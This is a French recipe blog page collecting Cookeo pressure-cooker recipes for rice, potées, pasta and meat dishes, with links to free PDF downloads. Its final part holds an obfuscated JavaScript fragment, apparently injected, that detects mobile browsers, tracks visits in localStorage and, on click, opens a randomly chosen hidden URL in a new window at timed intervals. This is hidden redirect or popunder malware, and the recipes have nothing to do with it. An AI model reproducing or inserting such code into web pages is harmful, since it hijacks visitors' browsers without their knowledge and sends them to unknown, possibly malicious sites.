70 recettes cookeo spaghettis coquillettes PDF gratuit

Vous trouverez dans cet article un recueil de 70 recettes cookeo de spaghettis, de pâtes,de fusillis,de farfalles,de nouilles chinoises et de tagliatelles.

Pour télécharger ce PDF il suffit de cliquez ICI ou sur l’image .

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Riz jambon poireaux recette cookeo

215 CALORIES 5 PP 7 SP

Ingrédients pour 4 personnes

200 g de poireaux congelés ou frais
150 g de dés de jambon
280 g de riz
100 g d’oignons congelés
2 cuillères à soupe d’huile d’olive
1 cube de bouillon de bœuf
100 ml de vin blanc
400 ml d’eau
Sel et Poivre
Préparation
Mode dorer
Versez l’huile d’olive dans la cuve et quand l’huile est chaude faites revenir les oignons
Ajoutez  au bout de 2 minutes les dés de jambon et les poireaux
Versez un bouillon composé de 400 ml d’eau 100 ml de vin blanc et un cube de bouillon de bœuf émietté
Salez et poivrez selon votre convenance
Cuisson rapide ou sous pression
Programmez le temps indiqué sur le paquet de riz / 2
Servez chaud

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Potée cookeo maison

Ingrédients pour 4 personnes

4 saucisses de Toulouse

1 oignon

8 pommes de terre

8 carottes

‘4 blancs de poireaux

Huile d’olive

1 verre de vin blanc

Sel poivre

1 cube de bouillon de bœuf

1 bouquet garni

1 litre d’eau

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve faites revenir dans un premier temps les saucisses puis ajouter au bout de 2 minutes les morceaux d oignons

Ajoutez ensuite les pommes de terre, les morceaux de carottes et les rondelles de poireaux.

Ajoutez le bouquet garni

Versez le verre de vin blanc et l’eau avec le cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmer 20 minutes de cuisson

Servez chaud

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Potée chou vert saucisses cookeo

Ingrédients pour 4 personnes
4 saucisses de Toulouse/1 chou vert/1 oignon /un cube de bouillon de bœuf/100 ml de vin blanc /400 ml d’eau/Sel et poivre

Préparation
Coupez l’oignon en morceaux
Coupez le chou en morceaux et lavez le
Mode dorer
Déposez les saucisses de Toulouse dans la cuve puis ajoutez les morceaux d’oignon au bout de deux ou trois minutes puis le choux 
Versez le verre de vin blanc et un bouillon composé de 400 millilitres d’eau et d’un cube de bouillon de bœuf émietté
Salez et poivrez selon votre convenance
Cuisson rapide ou sous pression
Programmez 20 minutes
Servez chaud



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Pommes de terre merguez cookeo

Ingrédients pour 4 personnes
12 pommes de terre(800 g )/8 merguez/1 oignon/300 ml d’eau

460 CALORIES 12 PP 19 SP (chiffrage nouveau programme liberté weight watchers)
Préparation
Mode dorer
Épluchez, lavez vos pommes de terre et coupez-les en morceaux Déposez les merguez dans la cuve et faites-les dorer puis ajoutez les morceaux d’oignon et les pommes de terre.
Verser les 300 millilitres d’eau dans la cuve .

Cuisson rapide ou sous pression

Programmez 5 minutes
Égouttez l’ensemble de la préparation .

Disposez dans un plat qui va au four et faites chauffer pendant 10 mn à 180° et servez chaud




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Rôti de porc lentilles cookeo

Ingrédients pour 4 personnes
1 rôti de porc
1 grosse boîte de lentilles
2 oignons ou 200 g d’oignons congelés
2 cuillères à soupe de concentré de tomate
Huile d’olive
Poivre et sel
200 ml d’eau
100 ml de vin blanc
1 cube de bouillon de bœuf émietté
Préparation
Egoutter la boîte de lentilles
Coupez les oignons en morceaux s’ils sont frais
Mode dorer
Versez l’huile d’olive dans la cuve et quand l’huile est chaude faites revenir les oignons et le rôti de porc
Recouvrez d’un bouillon composé de 200 ml d’eau , 100 ml de vin blanc et un cube de bouillon de bœuf émietté
Salez et poivrez selon votre convenance
Cuisson rapide ou sous pression
Programmer un minimum de 40 minutes à 50 mn selon le poids de votre rôti
Quand la cuisson est terminée réservez votre rôti pour le couper en tranches
Repassez en Mode dorer
Ajouter les lentilles
Ajouter les deux cuillères à soupe de concentré de tomate mélanger
Ajoutez les tranches de rôti et laisser mijoter 5 minutes et servez chaud

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Steaks hachés 3 légumes recette cookeo

350 CALORIES 7 PP 7 SP

Il existe des recettes simples et rapides à réaliser au cookeo ,cette recette en fait partie . Certains diront que la photo ne donne pas envie , c’est possible . Mais cette recette combine une viande (certes un peu grasse ) des légumes verts et des féculents .En quelque sorte un équilibre du goût et alimentaire; Je vous laisse juge .

Ingrédients pour 4 personnes

4 steaks hachés

4 courgettes

2 aubergines

4 pommes de terre

1 oignon

2 cuillères à soupe d’huile d’olive

2 cuillères à soupe de moutarde

1 cube de bouillon de bœuf

200 ml d’eau

1 tomate

Sel

Poivre

Préparation

Coupez les steaks hachés en morceaux.

Epluchez et coupez l’oignon en morceaux.

Coupez les tomates en morceaux.

Lavez et coupez les courgettes  et les aubergines en morceaux.

Epluchez les pommes de terre et coupez-les en morceaux.

Mode dorer

Versez l’huile d’olive dans la cuve puis faites revenir les oignons quand l’huile est chaude.

Ajoutez la viande et faites la revenir avec les oignons.

Ajoutez ensuite les pommes de terre, les courgettes, les tomates, les aubergines.

Versez un bouillon composé de 200 ml d’eau  et d’un cube de bouillon de bœuf émietté.

Cuisson rapide ou sous pression programmez 5 mn

Quand la cuisson est terminée ajoutez les 2 cuillères à soupe de moutarde.

Servez chaud

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One pot pasta viande hachée cookeo

Ingrédients pour 4 personnes

1 petite boite de tomates pelées

200 g de carottes en rondelles congelées

280 g de coquillettes

400 g de viande de bœuf hachée

4 oignons blancs

1 cube de bouillon de bœuf

300 ml d’eau

Sel

Poivre

Préparation

Déposez dans la cuve les coquillettes puis ajoutez le bouillon composé de 300 ml d’eau et d’un cube de bouillon de bœuf émietté.

Ajoutez  la viande hachée, la boite de tomates pelées.

Ajoutez les oignons .

Rajoutez de l’eau au ras si nécessaire

Salez , poivrez.

Cuisson rapide ou sous pression

Programmez 4 mn le temps de cuisson indiqué sur le paquet de pâtes divisé par 2.

Servez Chaud




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Poulet yaourt recette cookeo

290 CALORIES 6 PP 3 SP (programme liberté)

Ingrédients pour 4 personnes

400 g d’aiguillettes de poulet

le jus d’un citron

 4 gousses d’ail

Quelques brins de persil

2 yaourts natures

400 g de champignons de Paris

200 ml d’eau

 1 cube de bouillon de bœuf

sel et poivre

3 cuillères à soupe d’huile d’olive

Préparation

Préparez une persillade , hachez le persil et les 4 gousses d’ail
Dans un bol déposez le contenu des 2 yaourts et ajoutez le jus de citron et mélangez
Mode dorer 
Versez l’huile d’olive dans la cuve, quand l’huile est chaude faites revenir les aiguillettes de poulet pendant une minute puis ajoutez la persillade et faites dorer pendant 2 minutes
Ajoutez les champignons de Paris
Versez le bouillon composé de 200 ml d’eau et d’un cube de bouillon de bœuf émietté
Salez et poivrez
Cuisson rapide ou sous pression
Programmer 5 minutes
Quand la cuisson est terminée ajoutez la préparation composée de 2 yaourts et du jus de citron
Mélangez et servez chaud

Pour une sauce plus épaisse vous pouvez épaissir avec de la maizena en repassant en mode dorer . Pour plus de détails contactez moi.

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Filet mignon bourguignon cookeo

320 CALORIES 7 PP 8 SP

Ingrédients  pour 4 personnes

1 filet mignon (600 g)

200 g de champignons de Paris frais ou congelés

200 g de carottes

2 cuillères à café de maizena dilué dans l’eau

200 ml de vin rouge

200 ml d’eau

2 cuillères à soupe de concentré de tomates

200 g d’oignons

1 cube de bouillon de bœuf

3 cuillères à soupe d’huile d’olive

Sel

Poivre

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir les oignons, le filet mignon

Ajoutez les carottes et les champignons puis versez un bouillon composé de 200 ml de vin rouge ,200 ml d’eau et un cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous  pression

Programmez  25 mn

Quand la cuisson est terminée réservez votre filet mignon  et coupez votre filet mignon en tranches .

Repassez en mode dorer

Ajoutez 2 cuillères  de maïzena diluées dans de l’eau  pour épaissir la sauce.

Ajoutez les cuillères de concentré de tomates .

Redéposez les tranches de filet  mignon dans la cuve  puis laissez mijoter 2 mn .

Servez chaud

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Pâtes poulet petits pois recette cookeo

325 CALORIES 6 PP 5 SP

Ingrédients pour 4 personnes

400 g d’aiguillettes de poulet

400 g de petits pois

200  de pâtes

1 oignon

Huile

1 cube de bouillon de volaille

300 ml  l d’eau

Sel

Poivre

Curcuma

Préparation

Mode dorer

Versez de l’huile dans la cuve et faites dorer les oignons pendant une minute puis ajoutez les aiguillettes de poulet .

Ajoutez ensuite les pâtes et versez un bouillon composé de 300 ml d’eau dans la cuve .

Ajoutez les petits pois puis salez et poivrez.

Saupoudrez de curcuma.

Cuisson rapide ou sous pression

Programmez 5  mn

Servez chaud .

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Gibiers au cookeo PDF gratuit

Pas facile de trouver des recettes de gibieres au cookeo . J’en ai trouvé quelques unes tout de même . Alors je vous ai concocté un PDF gratuit à télécharger.

cliquez ici pour telecharger OU SUR L ‘IMAGE

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Poireaux pommes de terre chorizo cookeo

CALORIES 290 7 PP 7 SP

Ingrédients pour 4 personnes

400 g de pommes de terre

400 g de poireaux

80 g de chorizo

1 oignon

Préparation

Lavez vos poireaux et coupez-les en morceaux ou en rondelles.

Epluchez mes pommes de terre , lavez les et coupez les en morceaux.

Coupez l’oignon en morceaux

Versez 200 ml d’eau dans la cuve et déposez le panier vapeur avec les poireaux et les pommes de terre.

Cuisson rapide ou cuisson sous pression

Programmez 7 mn

Quand la cuisson est terminée videz la cuve de son eau et passez en mode dorer .

Quand le préchauffage est terminé déposez les  morceaux d’oignons  et les rondelles de chorizo dans la cuve.

Ajoutez les poireaux et les pommes de terre égouttées. Faites les revenir avec l’oignon et le chorizo.

Servez Chaud

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Côte de porc haricots verts cookeo

275 CALORIES 6 PP 5 SP

Ingrédients pour 4 personnes

4 côtes de porc

800 g d’haricots verts

200 g d’oignons

3 cuillères à soupe d’huile d’olive

Sel

Poivre

1 cube de bouillon de bœuf

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve

Faites revenir les oignons  pendant une minute

Faites revenir les côtes de porc dégraissées et désossées avec les oignons  jusqu’à 3mn

Saupoudrez de mélange 5 baies

Ajoutez les haricots verts.

Versez 300 ml d’eau avec un cube de bouillon de bœuf émietté

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez 5 mn  et fermez le couvercle

Egouttez l’ensemble de la préparation et  dressez vos assiettes

Servez chaud


//

//
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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());